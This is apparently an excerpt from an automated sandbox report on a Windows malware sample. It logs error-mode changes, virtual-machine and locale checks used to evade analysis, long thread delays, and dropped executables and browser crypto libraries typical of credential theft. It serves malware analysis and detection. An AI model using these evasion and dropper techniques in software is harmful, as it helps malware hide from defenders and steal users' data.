Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: FAILCRITICALERRORS \| NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Checks if the current machine is a virtual machine (disk enumeration)

Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key enumerated: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\SCSI

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_8-71988

Source: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\Install.exe

Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3038	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2297	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3521	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4489	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5109	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 2913	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 3640
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5431
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1946
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1345
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1403

Source: C:\Users\user\AppData\Local\Temp\i1.exe

Decision node followed by non-executed suspicious API: DecisionNode, Non Executed (send or recv or WinExec)

graph_6-47372

Source: C:\Users\user\AppData\Local\Temp\i3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\notepad.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\JKJKJJDBKE.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\SecureClient\relay.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\hmgv	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\iolo\dm\SystemMechanic_5488CB36-BE62-4606-B07B-2EE938868BD1.exe (copy)	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\tiktok[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u5do.2\UIxMarketPlugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\browser_broker.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.2\run.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Roaming\SecureClient\UIxMarketPlugin.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i3.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\7zS9CFF.tmp\RtkBtManServ.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\i1.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\u5do.2\relay.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\iolo\dm\BIT3C1E.tmp	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\nsg4683.tmp\INetC.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\i1.exe	API coverage: 9.7 %
Source: C:\Users\user\AppData\Local\Temp\u5do.0.exe	API coverage: 7.4 %

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5144	Thread sleep count: 3038 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5144	Thread sleep count: 2297 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2448	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1472	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2828	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6364	Thread sleep count: 3521 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5876	Thread sleep count: 4489 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1600	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4500	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5700	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5008	Thread sleep count: 5109 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 180	Thread sleep count: 2913 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7116	Thread sleep time: -7378697629483816s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 748	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5060	Thread sleep count: 3640 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6180	Thread sleep count: 5431 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2172	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2860	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1720	Thread sleep count: 1946 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1720	Thread sleep count: 1345 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7120	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3364	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\svchost.exe TID: 1100	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5040	Thread sleep count: 1403 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3424	Thread sleep count: 314 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6552	Thread sleep time: -1844674407370954s >= -30000s

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\08070809
Source: C:\Users\user\AppData\Local\Temp\u5do.3.exe	Key opened: HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Keyboard Layouts\04070809

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
